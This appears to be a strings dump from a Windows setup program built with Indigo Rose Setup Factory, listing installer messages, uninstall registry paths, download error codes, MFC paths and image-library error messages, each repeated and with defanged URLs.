%s\%s.lnk

%s\%s.lnk

%s (Return code: %d)

%s (Return code: %d)

Product: %s, version %s

Product: %s, version %s

MSG_SEEKING

MSG_SEEKING

%s (%d):

%s (%d):

Arc: %s

Arc: %s

FN: %s

FN: %s

%s (#%d)

%s (#%d)

MSG_SKIPPING

MSG_SKIPPING

MSG_INSTALLING

MSG_INSTALLING

MSG_PROG_UNINSTALL_CREATECONTROLFILE

MSG_PROG_UNINSTALL_CREATECONTROLFILE

ERR_CREATEUNINSTALL_OPEN_EXE_READ

ERR_CREATEUNINSTALL_OPEN_EXE_READ

ERR_CREATEUNINSTALL_OPEN_EXE_WRITE

ERR_CREATEUNINSTALL_OPEN_EXE_WRITE

Overwrite uninstall executable:

Overwrite uninstall executable:

Existing uninstall executable is newer. Will not overwrite.

Existing uninstall executable is newer. Will not overwrite.

Compared uninstall file versions. New: %s Old: %s Result: %d

Compared uninstall file versions. New: %s Old: %s Result: %d

Uninstall executable already exists: %s

Uninstall executable already exists: %s

MSG_PROG_UNINSTALL_CREATEEXE

MSG_PROG_UNINSTALL_CREATEEXE

@MSG_PROG_UNINSTALL_CREATEDATFILE

@MSG_PROG_UNINSTALL_CREATEDATFILE

MSG_PROG_UNINSTALL_CREATEFOLDER

MSG_PROG_UNINSTALL_CREATEFOLDER

"/U:%s"

"/U:%s"

MSG_PROG_UNINSTALL_CREATESC

MSG_PROG_UNINSTALL_CREATESC

Create uninstall CP entry key

Create uninstall CP entry key

ERR_CREATEUNINSTALL_CREATEREGKEY

ERR_CREATEUNINSTALL_CREATEREGKEY

"%s",%d

"%s",%d

Uninstall CP entry: URLUpdateInfo =

Uninstall CP entry: URLUpdateInfo =

URLUpdateInfo

URLUpdateInfo

Uninstall CP entry: URLInfoAbout =

Uninstall CP entry: URLInfoAbout =

URLInfoAbout

URLInfoAbout

"%s" "/U:%s"

"%s" "/U:%s"

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

MSG_PROG_UNINSTALL_CREATECPENTRY

MSG_PROG_UNINSTALL_CREATECPENTRY

MSG_PROG_UNINSTALL_COPYSUPPORTFILES

MSG_PROG_UNINSTALL_COPYSUPPORTFILES

MSG_PROG_UNINSTALL_COPYPLUGINS

MSG_PROG_UNINSTALL_COPYPLUGINS

%s %s

%s %s

MSG_REQUIRED_DRIVE

MSG_REQUIRED_DRIVE

MSG_AVAILABLE_DRIVE

MSG_AVAILABLE_DRIVE

Dependency Detection Passed

Dependency Detection Passed

MSG_PROG_CHECKING_DRIVESPACE

MSG_PROG_CHECKING_DRIVESPACE

MSG_PROG_CHECKING_FILES

MSG_PROG_CHECKING_FILES

%A, %B %d, %Y

%A, %B %d, %Y

[%s] %s

[%s] %s

%m/%d/%Y %H:%M:%S

%m/%d/%Y %H:%M:%S

MsgFile

MsgFile

ERR_MSI_PATCH_REMOVAL_UNSUPPORTED

ERR_MSI_PATCH_REMOVAL_UNSUPPORTED

ERR_MSI_PATCH_PACKAGE_UNSUPPORTED

ERR_MSI_PATCH_PACKAGE_UNSUPPORTED

ERR_MSI_INSTALL_PLATFORM_UNSUPPORTED

ERR_MSI_INSTALL_PLATFORM_UNSUPPORTED

ERR_MSI_UNSUPPORTED_TYPE

ERR_MSI_UNSUPPORTED_TYPE

ERR_MSI_INSTALL_LANGUAGE_UNSUPPORTED

ERR_MSI_INSTALL_LANGUAGE_UNSUPPORTED

ERR_SERVER_FILE_DOWNLOAD_SET_PROXY_PASSWORD

ERR_SERVER_FILE_DOWNLOAD_SET_PROXY_PASSWORD

ERR_SERVER_FILE_DOWNLOAD_OPEN_FTP_FILE

ERR_SERVER_FILE_DOWNLOAD_OPEN_FTP_FILE

ERR_SERVER_FILE_DOWNLOAD_OPEN_HTTP_FILE

ERR_SERVER_FILE_DOWNLOAD_OPEN_HTTP_FILE

ERR_ODBC_INVALID_KEYWORD_VALUE

ERR_ODBC_INVALID_KEYWORD_VALUE

ERR_WEB_503

ERR_WEB_503

ERR_WEB_500

ERR_WEB_500

ERR_WEB_404

ERR_WEB_404

ERR_WEB_403

ERR_WEB_403

ERR_WEB_400

ERR_WEB_400

ERR_WEB_SET_PROXY_PASSWORD

ERR_WEB_SET_PROXY_PASSWORD

ERR_WEB_SET_PROXY_USERNAME

ERR_WEB_SET_PROXY_USERNAME

ERR_WEB_WRITE_MEMORY

ERR_WEB_WRITE_MEMORY

ERR_WEB_FTP_FILE_OPEN

ERR_WEB_FTP_FILE_OPEN

ERR_WEB_USER_ABORT

ERR_WEB_USER_ABORT

ERR_WEB_FILE_WRITE

ERR_WEB_FILE_WRITE

ERR_WEB_DOWNLOAD_FILE_ERROR

ERR_WEB_DOWNLOAD_FILE_ERROR

ERR_WEB_INVALID_HTTP_RESPONSE

ERR_WEB_INVALID_HTTP_RESPONSE

ERR_WEB_DESTINATION_FILE_OPEN

ERR_WEB_DESTINATION_FILE_OPEN

ERR_WEB_SEND_REQUEST

ERR_WEB_SEND_REQUEST

ERR_WEB_OPEN_REQUEST

ERR_WEB_OPEN_REQUEST

ERR_WEB_CREATE_HTTP_CONNECTION

ERR_WEB_CREATE_HTTP_CONNECTION

ERR_WEB_CREATE_INTERNET_SESSION

ERR_WEB_CREATE_INTERNET_SESSION

ERR_REG_GET_SUB_KEY_NAME

ERR_REG_GET_SUB_KEY_NAME

ERR_REG_NON_EXISTANT_SUB_KEY

ERR_REG_NON_EXISTANT_SUB_KEY

ERR_REG_DELETE_KEY

ERR_REG_DELETE_KEY

ERR_REG_CREATE_KEY

ERR_REG_CREATE_KEY

ERR_FILE_EXECUTION_FAILED_ELEVATION

ERR_FILE_EXECUTION_FAILED_ELEVATION

ERR_KEY_RUN_ON_REBOOT_FAILED

ERR_KEY_RUN_ON_REBOOT_FAILED

ERR_USER_ABORTED_OPERATION

ERR_USER_ABORTED_OPERATION

ERR_NON_EXISTANT_VIEWER_EXE

ERR_NON_EXISTANT_VIEWER_EXE

ERR_FILE_EXECUTION_FAILED

ERR_FILE_EXECUTION_FAILED

ERR_SPECIFIED_EXE_FILE_INVALID

ERR_SPECIFIED_EXE_FILE_INVALID

MSG_SUCCESS

MSG_SUCCESS

Language set: Primary = %d, Secondary = %d

Language set: Primary = %d, Secondary = %d

%CompanyURL%

%CompanyURL%

%CompanyName%

%CompanyName%

UxTheme.dll

UxTheme.dll

%Copyright% %CompanyName%. All rights reserved. %CompanyURL%

%Copyright% %CompanyName%. All rights reserved. %CompanyURL%

%TempFolder%\%ProductName% Uninstall Log.txt

%TempFolder%\%ProductName% Uninstall Log.txt

%CompanyName% Support Department

%CompanyName% Support Department

%AppFolder%\uninstall.exe

%AppFolder%\uninstall.exe

uninstall.xml

uninstall.xml

CWebBrowser2

CWebBrowser2

Confirm Operation

Confirm Operation

KERNEL32.DLL

KERNEL32.DLL

PSAPI.DLL

PSAPI.DLL

Kernel32.dll

Kernel32.dll

WS2_32.DLL

WS2_32.DLL

Copying "%s"

Copying "%s"

"%s" %s

"%s" %s

%d.%d.%d.%d

%d.%d.%d.%d

\StringFileInfo\xx\ProductVersion

\StringFileInfo\xx\ProductVersion

\StringFileInfo\xx\PrivateBuild

\StringFileInfo\xx\PrivateBuild

Sfc.dll

Sfc.dll

.bak%d

.bak%d

Windows ME

Windows ME

Windows 98

Windows 98

Windows 95

Windows 95

Windows 2000

Windows 2000

Windows NT 4

Windows NT 4

Windows NT 3

Windows NT 3

%s\shell\open\command

%s\shell\open\command

NUL=%s

NUL=%s

Software\Microsoft\Windows NT\CurrentVersion\Fonts

Software\Microsoft\Windows NT\CurrentVersion\Fonts

Software\Microsoft\Windows\CurrentVersion\Fonts

Software\Microsoft\Windows\CurrentVersion\Fonts

***!!!***@@

***!!!***@@

Advapi32.dll

Advapi32.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

%s\%s.url

%s\%s.url

%s\%s.pif

%s\%s.pif

srclient.dll

srclient.dll

%s_%d

%s_%d

%s\_ir_tmpfnt_%d

%s\_ir_tmpfnt_%d

/\:*?"|

/\:*?"|

%%x

%%x

d:d

d:d

WinINet.dll

WinINet.dll

Could not create Internet session: %u

Could not create Internet session: %u

Error downloading file: %u

Error downloading file: %u

Error writing the destination file: %d-%u

Error writing the destination file: %d-%u

Could not create HTTP connection: %u

Could not create HTTP connection: %u

Could not create HTTP connection

Could not create HTTP connection

Incorrect HTTP status returned by server: %d

Incorrect HTTP status returned by server: %d

Send request failed: %u

Send request failed: %u

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Could not open HTTP file: %s

Could not open HTTP file: %s

PTF://

PTF://

hXXps://

hXXps://

hXXp://

hXXp://

%s; DIRECT

%s; DIRECT

jsproxy.dll

jsproxy.dll

DetectAutoProxyUrl

DetectAutoProxyUrl

wininet.dll

wininet.dll

Could not HTTP file: %u

Could not HTTP file: %u

MSG_STATUS_HANDLE_CREATED

MSG_STATUS_HANDLE_CREATED

MSG_STATUS_HANDLE_CLOSING

MSG_STATUS_HANDLE_CLOSING

MSG_STATUS_REQUEST_COMPLETE

MSG_STATUS_REQUEST_COMPLETE

MSG_REDIRECTING

MSG_REDIRECTING

MSG_CONNECTION_CLOSED

MSG_CONNECTION_CLOSED

MSG_RESOLVING_HOST_NAME

MSG_RESOLVING_HOST_NAME

MSG_HOST_NAME_RESOLVED

MSG_HOST_NAME_RESOLVED

MSG_CONNECTING_TO_SERVER

MSG_CONNECTING_TO_SERVER

MSG_CONNECTED_TO_SERVER

MSG_CONNECTED_TO_SERVER

MSG_CLOSING_CONNECTION

MSG_CLOSING_CONNECTION

MSG: %d

MSG: %d

TRACE: LastError = %d ("%s")

TRACE: LastError = %d ("%s")

Script: %s, %s

Script: %s, %s

Script: %s, Line %d

Script: %s, Line %d

All Files (*.*)|*.*|

All Files (*.*)|*.*|

PasswordInput

PasswordInput

MSG_MOVING

MSG_MOVING

MSG_COPYING

MSG_COPYING

MSG_FROM

MSG_FROM

MSG_TO

MSG_TO

MSG_DELETING

MSG_DELETING

MSG_SEARCHING

MSG_SEARCHING

\StringFileInfo\xx\SpecialBuild

\StringFileInfo\xx\SpecialBuild

\StringFileInfo\xx\OriginalFilename

\StringFileInfo\xx\OriginalFilename

\StringFileInfo\xx\Comments

\StringFileInfo\xx\Comments

\StringFileInfo\xx\LegalTrademarks

\StringFileInfo\xx\LegalTrademarks

\StringFileInfo\xx\LegalCopyright

\StringFileInfo\xx\LegalCopyright

\StringFileInfo\xx\ProductName

\StringFileInfo\xx\ProductName

\StringFileInfo\xx\InternalName

\StringFileInfo\xx\InternalName

\StringFileInfo\xx\FileDescription

\StringFileInfo\xx\FileDescription

\StringFileInfo\xx\CompanyName

\StringFileInfo\xx\CompanyName

ErrorMsg

ErrorMsg

%Y-%m-%dT%H:%M:%S

%Y-%m-%dT%H:%M:%S

MSG_INSTALL_DO_YOU_WANT_OVERWRITE

MSG_INSTALL_DO_YOU_WANT_OVERWRITE

MSG_INSTALL_ALWAYS_ASK_OVERWRITE_MSG

MSG_INSTALL_ALWAYS_ASK_OVERWRITE_MSG

MSG_INSTALL_FILE_OLDER_MSG

MSG_INSTALL_FILE_OLDER_MSG

OpenURL

OpenURL

\msiexec.exe

\msiexec.exe

RunMsiexec

RunMsiexec

SQLInstallerError

SQLInstallerError

SQLRemoveDriverManager

SQLRemoveDriverManager

odbccp32.dll

odbccp32.dll

SQLConfigDataSource

SQLConfigDataSource

SQLInstallDriverEx

SQLInstallDriverEx

SQLInstallDriverManager

SQLInstallDriverManager

SQLRemoveDriver

SQLRemoveDriver

\Kernel32.dll

\Kernel32.dll

GetKeyNames

GetKeyNames

DoesKeyExist

DoesKeyExist

DeleteKey

DeleteKey

CreateKey

CreateKey

ShortcutKey

ShortcutKey

keycode

keycode

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

MSG_SIZE_BYTES

MSG_SIZE_BYTES

P?MSG_SIZE_KILOBYTES

P?MSG_SIZE_KILOBYTES

>MSG_SIZE_GIGABYTES

>MSG_SIZE_GIGABYTES

xxxxxx

xxxxxx

%s-%s-%s

%s-%s-%s

%s/%s/%s

%s/%s/%s

%s:%s:%s

%s:%s:%s

%d:%s:%s AM

%d:%s:%s AM

%d:%s:%s PM

%d:%s:%s PM

MSG_REBOOT_FAILED

MSG_REBOOT_FAILED

WININET.DLL

WININET.DLL

PPassword

PPassword

Password

Password

%s %s %s %s (%0.2f %s)

%s %s %s %s (%0.2f %s)

%0.1f %s/%0.1f %s

%0.1f %s/%0.1f %s

%I64u %s/%I64u %s

%I64u %s/%I64u %s

MSG_KB_PER_SEC

MSG_KB_PER_SEC

MSG_ESTIMATED_TIME_LEFT

MSG_ESTIMATED_TIME_LEFT

MSG_SAVING

MSG_SAVING

MSG_DOWNLOADING

MSG_DOWNLOADING

%s %s %s %s

%s %s %s %s

MSG_QUERYING_INTERNET

MSG_QUERYING_INTERNET

MSG_READING

MSG_READING

GetHTTPErrorInfo

GetHTTPErrorInfo

%s > %s

%s > %s

number e_CtrlID, number e_MsgID, table e_Details

number e_CtrlID, number e_MsgID, table e_Details

Removed: %s

Removed: %s

local e_CtrlID=%d; local e_MsgID=%d;

local e_CtrlID=%d; local e_MsgID=%d;

Button%d

Button%d

Check%d

Check%d

ComboBox%d

ComboBox%d

Edit%d

Edit%d

Space available on selected drive: %SpaceAvailable%

Space available on selected drive: %SpaceAvailable%

Space required: %SpaceRequired%

Space required: %SpaceRequired%

Error: The specified file: '%s' could not be found.

Error: The specified file: '%s' could not be found.

Error: The specified file: '%s' could not be opened.

Error: The specified file: '%s' could not be opened.

Error: The specified file: '%s' is too large to read.

Error: The specified file: '%s' is too large to read.

Error: The specified file: '%s' could not be read.

Error: The specified file: '%s' could not be read.

Application.Exit();

Application.Exit();

Screen.Next();

Screen.Next();

Screen.Back();

Screen.Back();

Radio%d

Radio%d

Total space required: %SpaceRequired%

Total space required: %SpaceRequired%

IDS_CTRL_CHECK_BOX_d

IDS_CTRL_CHECK_BOX_d

IDS_CTRL_BUTTON_d

IDS_CTRL_BUTTON_d

IDS_CTRL_STATICTEXT_LABEL_d

IDS_CTRL_STATICTEXT_LABEL_d

IDS_CTRL_COMBOBOX_d_DEFAULT

IDS_CTRL_COMBOBOX_d_DEFAULT

IDS_CTRL_EDIT_d

IDS_CTRL_EDIT_d

IDS_CTRL_RADIO_BUTTON_d

IDS_CTRL_RADIO_BUTTON_d

IDS_CTRL_LISTBOX_d

IDS_CTRL_LISTBOX_d

IDS_CTRL_SCROLLTEXT_BODY_d

IDS_CTRL_SCROLLTEXT_BODY_d

IDS_CTRL_PROGRESS_BAR_d

IDS_CTRL_PROGRESS_BAR_d

IDS_CTRL_GROUP_BOX_d

IDS_CTRL_GROUP_BOX_d

IDS_CTRL_SELECT_PACKAGE_TREE_d

IDS_CTRL_SELECT_PACKAGE_TREE_d

IDS_CTRL_BILLBOARD_d

IDS_CTRL_BILLBOARD_d

CTRL_CHECK_BOX_d

CTRL_CHECK_BOX_d

CTRL_BUTTON_d

CTRL_BUTTON_d

CTRL_STATICTEXT_LABEL_d

CTRL_STATICTEXT_LABEL_d

CTRL_COMBOBOX_d

CTRL_COMBOBOX_d

CTRL_EDIT_d

CTRL_EDIT_d

CTRL_RADIO_BUTTON_d

CTRL_RADIO_BUTTON_d

CTRL_LIST_BOX_d

CTRL_LIST_BOX_d

CTRL_SCROLLTEXT_BODY_d

CTRL_SCROLLTEXT_BODY_d

CTRL_PROGRESS_BAR_d

CTRL_PROGRESS_BAR_d

CTRL_GROUP_BOX_d

CTRL_GROUP_BOX_d

CTRL_SELECT_PACKAGE_TREE_d

CTRL_SELECT_PACKAGE_TREE_d

CTRL_BILLBOARD_d

CTRL_BILLBOARD_d

IDS_CTRL_COMBOBOX_d_ITEMS

IDS_CTRL_COMBOBOX_d_ITEMS

IDS_CTRL_SCROLLTEXT_FILE_d

IDS_CTRL_SCROLLTEXT_FILE_d

WebWindow

WebWindow

IDS_CTRL_CATEGORY_NAME_d_%.3d

IDS_CTRL_CATEGORY_NAME_d_%.3d

IDS_CTRL_CATEGORY_DESCRIPTION_d_%.3d

IDS_CTRL_CATEGORY_DESCRIPTION_d_%.3d

hXXp://VVV.indigorose.com/route.php?pid=suf9buy

hXXp://VVV.indigorose.com/route.php?pid=suf9buy

[email protected]

[email protected]

.tiff

.tiff

.jpeg

.jpeg

.wbmp

.wbmp

CNotSupportedException

CNotSupportedException

user32.dll

user32.dll

Afx:%p:%x:%p:%p:%p

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

Afx:%p:%x

commctrl_DragListMsg

commctrl_DragListMsg

CCmdTarget

CCmdTarget

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

comctl32.dll

comctl32.dll

comdlg32.dll

comdlg32.dll

shell32.dll

shell32.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

%s%s.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

lX-X-x-XX-XXXXXX

lX-X-x-XX-XXXXXX

RegOpenKeyTransactedA

RegOpenKeyTransactedA

RegCreateKeyTransactedA

RegCreateKeyTransactedA

RegDeleteKeyTransactedA

RegDeleteKeyTransactedA

CHttpConnection

CHttpConnection

CHttpFile

CHttpFile

HTTP/1.0

HTTP/1.0

msctls_hotkey32

msctls_hotkey32

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

mfcm100.dll

mfcm100.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Shell32.dll

Shell32.dll

%s:%x:%x:%x:%x

%s:%x:%x:%x:%x

RegDeleteKeyExA

RegDeleteKeyExA

lXXxXXXXXXXX

lXXxXXXXXXXX

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

ole32.dll

ole32.dll

MFCLink_UrlPrefix

MFCLink_UrlPrefix

MFCLink_Url

MFCLink_Url

CMDITabProxyWnd

CMDITabProxyWnd

CMDIChildWndEx

CMDIChildWndEx

CMDIFrameWndEx

CMDIFrameWndEx

%sMFCToolBar-%d%x

%sMFCToolBar-%d%x

%sMFCToolBar-%d

%sMFCToolBar-%d

%sMFCToolBarParameters

%sMFCToolBarParameters

TOOLBAR_RESETKEYBAORD

TOOLBAR_RESETKEYBAORD

KeyboardManager

KeyboardManager

MSG_CHECKEMPTYMINIFRAME

MSG_CHECKEMPTYMINIFRAME

%sDockingManager-%d

%sDockingManager-%d

&%d %s

&%d %s

Hex={X,X,X}

Hex={X,X,X}

ShowCmd

ShowCmd

CMDIChildWnd

CMDIChildWnd

CMDIFrameWnd

CMDIFrameWnd

CMDIClientAreaWnd

CMDIClientAreaWnd

%sMDIClientArea-%d

%sMDIClientArea-%d

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleipfrm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleipfrm.cpp

%sBasePane-%d%x

%sBasePane-%d%x

%sBasePane-%d

%sBasePane-%d

%sPane-%d%x

%sPane-%d%x

%sPane-%d

%sPane-%d

%sMFCOutlookBar-%d%x

%sMFCOutlookBar-%d%x

%sMFCOutlookBar-%d

%sMFCOutlookBar-%d

%c%d%c%s

%c%d%c%s

RGB(%d, %d, %d)

RGB(%d, %d, %d)

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olestrm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olestrm.cpp

%sDockablePaneAdapter-%d%x

%sDockablePaneAdapter-%d%x

%sDockablePaneAdapter-%d

%sDockablePaneAdapter-%d

ENABLE_KEYS

ENABLE_KEYS

KEYS_MENU

KEYS_MENU

KEYS

KEYS

windows

windows

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledrop2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledrop2.cpp

CMFCToolBarsKeyboardPropertyPage

CMFCToolBarsKeyboardPropertyPage

%sMFCTasksPane-%d%x

%sMFCTasksPane-%d%x

%sMFCTasksPane-%d

%sMFCTasksPane-%d

Visual C CRT: Not enough memory to complete call to strerror.

Visual C CRT: Not enough memory to complete call to strerror.

Broken pipe

Broken pipe

Inappropriate I/O control operation

Inappropriate I/O control operation

Operation not permitted

Operation not permitted

operator

operator

GetProcessWindowStation

GetProcessWindowStation

IS 5.0.2.4

IS 5.0.2.4

Error %d in %s (%s)

Error %d in %s (%s)

Error %d in %s (%s) [%s]

Error %d in %s (%s) [%s]

C.o.p.y.r.i.g.h.t...2.0.1.0.

C.o.p.y.r.i.g.h.t...2.0.1.0.

ISLib PNG Error : %s

ISLib PNG Error : %s

1.2.22

1.2.22

ISLib JPG Error : %s

ISLib JPG Error : %s

DIBToHBITMAP error: GetLastError = %d

DIBToHBITMAP error: GetLastError = %d

read %d. layersLen %d

read %d. layersLen %d

Reading PCD sub-image #%d (%d x %d)

Reading PCD sub-image #%d (%d x %d)

.cals

.cals

Keywords

Keywords

SetWinMetaFileBits failed GetLastError = %d

SetWinMetaFileBits failed GetLastError = %d

GeoKeyDirectory

GeoKeyDirectory

%s: Invalid InkNames value; expecting %d names, found %d

%s: Invalid InkNames value; expecting %d names, found %d

%s: Bad value %u for "%s" tag

%s: Bad value %u for "%s" tag

%s: Invalid %stag "%s" (not supported by codec)

%s: Invalid %stag "%s" (not supported by codec)

%s: Bad field type %d for "%s"

%s: Bad field type %d for "%s"

%s: Failed to allocate space for list of custom values

%s: Failed to allocate space for list of custom values

%s: Bad value %d for "%s" tag

%s: Bad value %d for "%s" tag

%s: Sorry, cannot nest SubIFDs

%s: Sorry, cannot nest SubIFDs

Nonstandard tile width %d, convert file

Nonstandard tile width %d, convert file

Nonstandard tile length %d, convert file

Nonstandard tile length %d, convert file

%s: Cannot modify tag "%s" while writing

%s: Cannot modify tag "%s" while writing

%s: Unknown %stag %u

%s: Unknown %stag %u

%s: Error fetching directory link

%s: Error fetching directory link

%s: Error fetching directory count

%s: Error fetching directory count

Sorry, can not handle images with %d-bit samples

Sorry, can not handle images with %d-bit samples

Sorry, LogL data must have %s=%d

Sorry, LogL data must have %s=%d

Sorry, can not handle LogLuv images with %s=%d

Sorry, can not handle LogLuv images with %s=%d

Sorry, LogLuv data must have %s=%d or %d

Sorry, LogLuv data must have %s=%d or %d

Sorry, can not handle image with %s=%d

Sorry, can not handle image with %s=%d

Sorry, can not handle contiguous data with %s=%d, and %s=%d and Bits/Sample=%d

Sorry, can not handle contiguous data with %s=%d, and %s=%d and Bits/Sample=%d

Sorry, can not handle RGB image with %s=%d

Sorry, can not handle RGB image with %s=%d

Sorry, can not handle contiguous data with %s=%d, and %s=%d

Sorry, can not handle contiguous data with %s=%d, and %s=%d

Sorry, can not handle separated image with %s=%d

Sorry, can not handle separated image with %s=%d

Missing needed %s tag

Missing needed %s tag

No space %s

No space %s

%s: Read error at scanline %lu, strip %lu; got %lu bytes, expected %lu

%s: Read error at scanline %lu, strip %lu; got %lu bytes, expected %lu

%s: Read error at scanline %lu; got %lu bytes, expected %lu

%s: Read error at scanline %lu; got %lu bytes, expected %lu

%s: Seek error at scanline %lu, strip %lu

%s: Seek error at scanline %lu, strip %lu

%s: Read error at row %ld, col %ld, tile %ld; got %lu bytes, expected %lu

%s: Read error at row %ld, col %ld, tile %ld; got %lu bytes, expected %lu

%s: Read error at row %ld, col %ld; got %lu bytes, expected %lu

%s: Read error at row %ld, col %ld; got %lu bytes, expected %lu

%s: Seek error at row %ld, col %ld, tile %ld

%s: Seek error at row %ld, col %ld, tile %ld

%s: No space for data buffer at scanline %ld

%s: No space for data buffer at scanline %ld

%s: Data buffer too small to hold strip %lu

%s: Data buffer too small to hold strip %lu

%s: Read error on strip %lu; got %lu bytes, expected %lu

%s: Read error on strip %lu; got %lu bytes, expected %lu

%s: Invalid strip byte count %lu, strip %lu

%s: Invalid strip byte count %lu, strip %lu

%s: Data buffer too small to hold tile %ld

%s: Data buffer too small to hold tile %ld

"%s": Bad mode

"%s": Bad mode

Not a TIFF file, bad version number %d (0x%x)

Not a TIFF file, bad version number %d (0x%x)

This is a BigTIFF file. This format not supported

This is a BigTIFF file. This format not supported

Not a TIFF or MDI file, bad magic number %d (0x%x)

Not a TIFF or MDI file, bad magic number %d (0x%x)

%s: Out of memory (TIFF structure)

%s: Out of memory (TIFF structure)

Error writing data for field "%s"

Error writing data for field "%s"

%s: Error writing SubIFD directory link

%s: Error writing SubIFD directory link

M"%s": Information lost writing value (%g) as (unsigned) RATIONAL

M"%s": Information lost writing value (%g) as (unsigned) RATIONAL

Integer overflow in %s

Integer overflow in %s

LIBTIFF, Version 3.9.1

LIBTIFF, Version 3.9.1

0123456789ABCDEFlibpng error: %s

0123456789ABCDEFlibpng error: %s

libpng error: %s, offset=%d

libpng error: %s, offset=%d

libpng error no. %s: %s

libpng error no. %s: %s

libpng warning: %s

libpng warning: %s

libpng warning no. %s: %s

libpng warning no. %s: %s

1.2.3

1.2.3

NULL row buffer for row %ld, pass %d

NULL row buffer for row %ld, pass %d

iTXt chunk not supported.

iTXt chunk not supported.

Corrupt JPEG data: found marker 0xx instead of RST%d

Corrupt JPEG data: found marker 0xx instead of RST%d

Warning: unknown JFIF revision number %d.d

Warning: unknown JFIF revision number %d.d

Corrupt JPEG data: %u extraneous bytes before marker 0xx

Corrupt JPEG data: %u extraneous bytes before marker 0xx

Inconsistent progression sequence for component %d coefficient %d

Inconsistent progression sequence for component %d coefficient %d

Unknown Adobe color transform code %d

Unknown Adobe color transform code %d

Obtained XMS handle %u

Obtained XMS handle %u

Freed XMS handle %u

Freed XMS handle %u

Unrecognized component IDs %d %d %d, assuming YCbCr

Unrecognized component IDs %d %d %d, assuming YCbCr

JFIF extension marker: RGB thumbnail image, length %u

JFIF extension marker: RGB thumbnail image, length %u

JFIF extension marker: palette thumbnail image, length %u

JFIF extension marker: palette thumbnail image, length %u

JFIF extension marker: JPEG-compressed thumbnail image, length %u

JFIF extension marker: JPEG-compressed thumbnail image, length %u

Opened temporary file %s

Opened temporary file %s

Closed temporary file %s

Closed temporary file %s

Ss=%d, Se=%d, Ah=%d, Al=%d

Ss=%d, Se=%d, Ah=%d, Al=%d

Component %d: dc=%d ac=%d

Component %d: dc=%d ac=%d

Start Of Scan: %d components

Start Of Scan: %d components

Component %d: %dhx%dv q=%d

Component %d: %dhx%dv q=%d

Start Of Frame 0xx: width=%u, height=%u, components=%d

Start Of Frame 0xx: width=%u, height=%u, components=%d

Smoothing not supported with nonstandard sampling ratios

Smoothing not supported with nonstandard sampling ratios

RST%d

RST%d

At marker 0xx, recovery action %d

At marker 0xx, recovery action %d

Selected %d colors for quantization

Selected %d colors for quantization

Quantizing to %d colors

Quantizing to %d colors

Quantizing to %d = %d*%d*%d colors

Quantizing to %d = %d*%d*%d colors

%4u %4u %4u %4u %4u %4u %4u %4u

%4u %4u %4u %4u %4u %4u %4u %4u

Unexpected marker 0xx

Unexpected marker 0xx

Miscellaneous marker 0xx, length %u

Miscellaneous marker 0xx, length %u

with %d x %d thumbnail image

with %d x %d thumbnail image

JFIF extension marker: type 0xx, length %u

JFIF extension marker: type 0xx, length %u

Warning: thumbnail image size does not match data length %u

Warning: thumbnail image size does not match data length %u

JFIF APP0 marker: version %d.d, density %dx%d %d

JFIF APP0 marker: version %d.d, density %dx%d %d

= = = = = = = =

= = = = = = = =

Obtained EMS handle %u

Obtained EMS handle %u

Freed EMS handle %u

Freed EMS handle %u

Define Restart Interval %u

Define Restart Interval %u

Define Quantization Table %d precision %d

Define Quantization Table %d precision %d

Define Huffman Table 0xx

Define Huffman Table 0xx

Define Arithmetic Table 0xx: 0xx

Define Arithmetic Table 0xx: 0xx

Unknown APP14 marker (not Adobe), length %u

Unknown APP14 marker (not Adobe), length %u

Unknown APP0 marker (not JFIF), length %u

Unknown APP0 marker (not JFIF), length %u

Adobe APP14 marker: version %d, flags 0xx 0xx, transform %d

Adobe APP14 marker: version %d, flags 0xx 0xx, transform %d

Unsupported marker type 0xx

Unsupported marker type 0xx

Failed to create temporary file %s

Failed to create temporary file %s

Unsupported JPEG process: SOF type 0xx

Unsupported JPEG process: SOF type 0xx

Cannot quantize to more than %d colors

Cannot quantize to more than %d colors

Cannot quantize to fewer than %d colors

Cannot quantize to fewer than %d colors

Cannot quantize more than %d color components

Cannot quantize more than %d color components

Insufficient memory (case %d)

Insufficient memory (case %d)

